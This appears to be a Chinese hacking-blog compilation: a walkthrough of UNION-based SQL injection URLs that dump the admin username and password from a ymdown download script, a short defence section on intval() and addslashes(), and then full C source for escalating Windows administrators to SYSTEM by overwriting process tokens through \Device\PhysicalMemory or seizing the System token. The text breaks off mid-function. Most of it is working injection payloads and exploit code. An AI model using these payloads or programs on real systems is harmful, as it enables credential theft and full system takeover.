http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


正常返回了,表格里的数据全部是"1",说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1


程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。

CREATE TABLE ymdown (
id int(10) unsigned NOT NULL auto_increment,
name varchar(100) NOT NULL,
updatetime varchar(20) NOT NULL,
size varchar(100) NOT NULL,
empower varchar(100) NOT NULL,
os varchar(100) NOT NULL,
grade smallint(6) DEFAULT ’0′ NOT NULL,
viewnum int(10) DEFAULT ’0′ NOT NULL,
downnum int(10) DEFAULT ’0′ NOT NULL,
homepage varchar(100),
demo varchar(100),
brief mediumtext,
img varchar(100),
sort2id smallint(6) DEFAULT ’0′ NOT NULL,
down1 varchar(100) NOT NULL,
down2 varchar(100),
down3 varchar(100),
down4 varchar(100),
down5 varchar(100),
PRIMARY KEY (id)
);


用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19个"1"中,name和size分别是第二个和第四个,我们提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1


结果成功返回了我们所需要的用户名和密码,如图:



验证测试结果

整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#验证第六位密码


用select char(49,50,51,52,53,54)就可以得到123456。
OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜,但为了大家能看到一个完整的过程,我还是"专业"一点好了。下面补一幅截图,是本文写完后,重新测试HB时截取的:




注入的防范


防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On, display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:

$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid=’$id’");


或者这样写:

mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")


不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ’ (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc 打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:

$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid=’$username’");


或者这样写:

mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")


使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把"_"、"%"转换为"\_""\%"就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:

$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);


不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?
PS:本文章引自Zwell’Blog

管理员组获取系统权限的完美解决方案

Author : ZwelL
Blog   : http://www.donews.net/zwell
Date   : 2005.4.28

    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:"MSDN系列(3)–Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
                                    |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码…^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it’s 0xc8, if others’ version, change it
#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG  NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS    Status;
    ULONG        Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT        Length;
    USHORT        MaximumLength;
    PWSTR        Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT             0×00000002L
#define OBJ_PERMANENT           0×00000010L
#define OBJ_EXCLUSIVE           0×00000020L
#define OBJ_CASE_INSENSITIVE    0×00000040L
#define OBJ_OPENIF              0×00000080L
#define OBJ_OPENLINK            0×00000100L
#define OBJ_KERNEL_HANDLE       0×00000200L
#define OBJ_VALID_ATTRIBUTES    0×000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG        Length;
    HANDLE        RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG        Attributes;
    PVOID        SecurityDescriptor;
    PVOID        SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

typedef struct _SYSTEM_MODULE_INFORMATION
{
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructionEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation,
    SystemNotImplemented10,
    SystemNotImplemented11,
    SystemInvalidInfoClass2,
    SystemInvalidInfoClass3,
    SystemTimeZoneInformation,
    SystemLookasideInformation,
    SystemSetTimeSlipEvent,
    SystemCreateSession,
    SystemDeleteSession,
    SystemInvalidInfoClass4,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE  SectionHandle,
    IN  ACCESS_MASK  DesiredAccess,
    IN  POBJECT_ATTRIBUTES  ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                
    IN OUT PUNICODE_STRING  DestinationString,
    IN PCWSTR  SourceString
    );

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING        RtlInitUnicodeString;
ZWOPENSECTION            ZwOpenSection;
ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;
HMODULE    g_hNtDLL = NULL;
PVOID     g_pMapPhysicalMemory = NULL;
HANDLE     g_hMPM     = NULL;

BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary( "ntdll.dll" );
    if ( !g_hNtDLL )
    {
        return FALSE;
    }

    RtlInitUnicodeString =
        (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

    ZwOpenSection =
        (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    ZwQuerySystemInformation =
        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

    return TRUE;
}

VOID CloseNTDLL()
{
    if(g_hNtDLL != NULL)
    {
        FreeLibrary(g_hNtDLL);
    }
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

    PACL pDacl=NULL;
    PACL pNewDacl=NULL;
    PSECURITY_DESCRIPTOR pSD=NULL;
    DWORD dwRes;
    EXPLICIT_ACCESS ea;

    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";


    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
    {
        goto CleanUp;
    }

CleanUp:

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
    NTSTATUS        status;
    UNICODE_STRING        physmemString;
    OBJECT_ATTRIBUTES    attributes;

    RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

    attributes.Length            = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory        = NULL;
    attributes.ObjectName            = &physmemString;
    attributes.Attributes            = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

    if(status == STATUS_ACCESS_DENIED){
        status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
        SetPhyscialMemorySectionCanBeWrited(g_hMPM);
        CloseHandle(g_hMPM);
        status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
    }

    if( !NT_SUCCESS( status ))
    {
        return NULL;
    }

    g_pMapPhysicalMemory = MapViewOfFile(
        g_hMPM,
        4,
        0,
        0×30000,
        0×1000);
    if( g_pMapPhysicalMemory == NULL )
    {
        return NULL;
    }

    return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
    ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
    if(VAddr>=0×80000000 && VAddr<0xa0000000)
    {
        PAddr=VAddr-0×80000000;
        return (PVOID)PAddr;
    }
    PGDE=BaseAddress[VAddr>>22];
    if ((PGDE&1)!=0)
    {
        ULONG tmp=PGDE&0×00000080;
        if (tmp!=0)
        {
            PAddr=(PGDE&0xFFC00000)+(VAddr&0×003FFFFF);
        }
        else
        {
            PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0×1000);
            PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
            if ((PTE&1)!=0)
            {
                PAddr=(PTE&0xFFFFF000)+(VAddr&0×00000FFF);
                UnmapViewOfFile((PVOID)PGDE);
            }
            else return 0;
        }
    }
    else return 0;

    return (PVOID)PAddr;
}



ULONG GetData(PVOID addr)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0×1000);
    if (tmp==0)
        return 0;
    ULONG ret=tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);
    return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0×1000);
    if (tmp==0)
        return FALSE;
    tmp[(phys & 0xFFF)>>2]=data;
    UnmapViewOfFile(tmp);
    return TRUE;
}

DWORD MyGetModuleBaseAddress( char * pModuleName)
{
    PSYSTEM_MODULE_INFORMATION    pSysModule;    

    ULONG            uReturn;
    ULONG            uCount;
    PCHAR            pBuffer = NULL;
    PCHAR            pName    = NULL;
    NTSTATUS        status;
    UINT            ui;
    CHAR            szBuffer[10];
    DWORD            pBaseAddress;

    status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
    pBuffer = ( PCHAR )malloc(uReturn);
    if ( pBuffer )
    {
        status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
        if( NT_SUCCESS(status) )
        {
            uCount = ( ULONG )*( ( ULONG * )pBuffer );
            pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
            for ( ui = 0; ui < uCount; ui++ )
            {
                pName = strstr( pSysModule->ImageName, pModuleName );
                if( pName )
                {
                    pBaseAddress = (DWORD)pSysModule->Base;
                    free( pBuffer );
                    return pBaseAddress;
                }
                pSysModule ++;
            }
        }

        free( pBuffer );
    }

    return NULL;
}

DWORD GetEprocessFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    DWORD    n;
    DWORD    retvalue=0;

    buf=malloc(0×1000);
    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return FALSE;
    }
    status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0×1000, &n );
    if(STATUS_INFO_LENGTH_MISMATCH == status)
    {
        free(buf);
        buf=malloc(n);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return FALSE;
        }
        status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
    }
    else
    {
        printf("ZwQuerySystemInformation wrong\n");
        return FALSE;
    }

    NumOfHandle = *(ULONG*)buf;

    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

    for(i = 0; i<NumOfHandle ;i++)
    {
            if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))
            {
                retvalue=(DWORD)(h_info[i].Object);
                break;
            }
    }

    if ( buf != NULL )
    {
        free( buf );
    }
    return retvalue;
}

void usage(char *exe)
{
    printf("Usage : %s [exefile|-h]\n");
}

int main(int argc, char **argv)
{
    HMODULE hDll;
    DWORD tmp;
    DWORD SystemEprocess;
    DWORD SystemEprocessTokenValue;
    DWORD CurrentEprocess;
    DWORD CurrentEprocessTokenValue;

    printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");
    printf("\tMade by ZwelL.\n");
    printf("\tZwell@sohu.com.\n");
    printf("\thttp://www.donews.net/zwell.\n");
    printf("\tType -h to get more information\n", argv[0]);

    if( argc>=2)
    {
        if(
            ( (strcmp(argv[1],"-h")==0) && (argc==2))
            || (argc>2)
          )
        {
            usage(argv[0]);
            exit(-1);
        }
    }

    if (!InitNTDLL())
    {
        printf("InitNTDLL wrong\n");
        exit(-1);
    }

    if (OpenPhysicalMemory()==0)
    {
        printf("OpenPhysicalMemory wrong\n");
        exit(-1);
    }

    hDll = LoadLibrary("ntoskrnl.exe");
    tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
    tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
    SystemEprocess=GetData((PVOID)tmp);
    tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM’s Token address
    SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM’s Token
    printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);

    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
    CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
    CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

    printf("Current EPROCESS : %08x\n", CurrentEprocess);
    printf("Current Process Token : %08x\nPress ENTER to continue…\n",
        CurrentEprocessTokenValue);
    //getchar();
    SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
    printf("Current Process Token : %08x\n",
        GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
    printf("Press ENTER to create process…\n");
    //getchar();

    if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
        == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))  
        )
        // It is so surprised that SYSTEM’s Token always in changing.
        // So before create new process, we should ensure the TOKEN is all right
    {
        ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);
    }
    UnmapViewOfFile(g_pMapPhysicalMemory);
    CloseHandle(g_hMPM);
    CloseNTDLL();

    return 0;
}



在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()
{
    HANDLE hSnapshot = NULL;
    HANDLE hProc     = NULL;

    __try
    {
        // Get a snapshot of the processes in the system
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == NULL)
        {
            printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
            __leave;
        }

        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);

        // Find the "System" process
        BOOL fProcess = Process32First(hSnapshot, &pe32);
        while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
            fProcess = Process32Next(hSnapshot, &pe32);
        if (!fProcess)
        {
            printf("OpenSystemProcess Not Found SYSTEM");
            __leave;    // Didn’t find "System" process
        }

        // Open the process with PROCESS_QUERY_INFORMATION access
        hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
            pe32.th32ProcessID);
        if (hProc == NULL)
        {
            printf("OpenSystemProcess OpenProcess Failed");
            __leave;
        }
    }
    __finally
    {
        // Cleanup the snapshot
       if (hSnapshot != NULL)
           CloseHandle(hSnapshot);
       return(hProc);
    }
}

BOOL EnablePrivilege (PCSTR name)
{
    HANDLE hToken;
    BOOL rv;
    
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
    LookupPrivilegeValue (
        0,
        name,
        &priv.Privileges[0].Luid
    );
    
    OpenProcessToken(
        GetCurrentProcess (),
        TOKEN_ADJUST_PRIVILEGES,
        &hToken
    );
    
    AdjustTokenPrivileges (
        hToken,
        FALSE,
        &priv,
        sizeof priv,
        0,
        0
    );
    rv = GetLastError () == ERROR_SUCCESS;
    
    CloseHandle (hToken);
    return rv;
}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
    PACL pAcl        = NULL;
    PACL pNewAcl     = NULL;
    PACL pSacl       = NULL;
    PSID pSidOwner   = NULL;
    PSID pSidPrimary = NULL;
    BOOL fSuccess    = TRUE;

    PSECURITY_DESCRIPTOR pSD = NULL;

    __try
    {
        // Find the length of the security object for the kernel object
        DWORD dwSDLength;
        if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
            &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
        {
            printf("ModifySecurity GetKernelObjectSecurity Size Failed");
            __leave;
        }

        // Allocate a buffer of that length
        pSD = LocalAlloc(LPTR, dwSDLength);
        if (pSD == NULL)
        {
            printf("ModifySecurity LocalAlloc Failed");
            __leave;
        }

        // Retrieve the kernel object
        if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
            dwSDLength, &dwSDLength))
        {
            printf("ModifySecurity GetKernelObjectSecurity Failed");
            __leave;
        }

        // Get a pointer to the DACL of the SD
        BOOL fDaclPresent;
        BOOL fDaclDefaulted;
        if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
            &fDaclDefaulted))
        {
            printf("ModifySecurity GetSecurityDescriptorDacl Failed");
            __leave;
        }

        // Get the current user’s name
        TCHAR szName[1024];
        DWORD dwLen = chDIMOF(szName);
        if (!GetUserName(szName, &dwLen))
        {
            printf("ModifySecurity GetUserName Failed");
            __leave;
        }

        // Build an EXPLICIT_ACCESS structure for the ace we wish to add.
        EXPLICIT_ACCESS ea;
        BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
        ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

        // We are allocating a new ACL with a new ace inserted.  The new
        // ACL must be LocalFree’d
        if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
        {
            printf("ModifySecurity SetEntriesInAcl Failed");
            pNewAcl = NULL;
            __leave;
        }

        // Find the buffer sizes we would need to make our SD absolute
        pAcl               = NULL;
        dwSDLength         = 0;
        DWORD dwAclSize    = 0;
        DWORD dwSaclSize   = 0;
        DWORD dwSidOwnLen  = 0;
        DWORD dwSidPrimLen = 0;
        PSECURITY_DESCRIPTOR pAbsSD = NULL;
        if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
            || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
        {
            printf("ModifySecurity MakeAbsoluteSD Size Failed");
            __leave;
        }

        // Allocate the buffers
        pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
        pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
        pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
        pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
        pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
        if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
        {
            printf("ModifySecurity Invalid SID Found");
            __leave;
        }

        // And actually make our SD absolute
        if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
            &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
        {
            printf("ModifySecurity MakeAbsoluteSD Failed");
            __leave;
        }

        // Now set the security descriptor DACL
        if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
            fDaclDefaulted))
        {
            printf("ModifySecurity SetSecurityDescriptorDacl Failed");
            __leave;
        }

        // And set the security for the object
        if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
        {
            printf("ModifySecurity SetKernelObjectSecurity Failed");
            __leave;
        }

        fSuccess = TRUE;

    }
    __finally
    {
        // Cleanup
        if (pNewAcl == NULL)
            LocalFree(pNewAcl);

        if (pSD == NULL)
            LocalFree(pSD);

        if (pAcl == NULL)
            LocalFree(pAcl);

        if (pSacl == NULL)
            LocalFree(pSacl);

        if (pSidOwner == NULL)
            LocalFree(pSidOwner);

        if (pSidPrimary == NULL)
            LocalFree(pSidPrimary);

        if(!fSuccess)
        {
            printf("ModifySecurity exception caught in __finally");
        }

        return(fSuccess);
    }
}

HANDLE GetLSAToken()
{
    HANDLE hProc  = NULL;
    HANDLE hToken = NULL;
    BOOL bSuccess = FALSE;
    __try
    {
        // Enable the SE_DEBUG_NAME privilege in our process token
        if (!EnablePrivilege(SE_DEBUG_NAME))
        {
            printf("GetLSAToken EnablePrivilege Failed");
            __leave;
        }

        // Retrieve a handle to the "System" process
        hProc = OpenSystemProcess();
        if(hProc == NULL)
        {
            printf("GetLSAToken OpenSystemProcess Failed");
            __leave;
        }

        // Open the process token with READ_CONTROL and WRITE_DAC access.  We
        // will use this access to modify the security of the token so that we
        // retrieve it again with a more complete set of rights.
        BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
            &hToken);
        if(FALSE == fResult)  
        {
            printf("GetLSAToken OpenProcessToken Failed");
            __leave;
        }

        // Add an ace for the current user for the token.  This ace will add
        // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
        if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
            | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
        {
            printf("GetLSAToken ModifySecurity Failed");
            __leave;
        }
        

        // Reopen the process token now that we have added the rights to
        // query the token, duplicate it, and assign it.
        fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
            | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
        if (FALSE == fResult)  
        {
            printf("GetLSAToken OpenProcessToken Failed");
            __leave;
        }
        bSuccess = TRUE;
    }
    __finally
    {
        // Close the System process handle
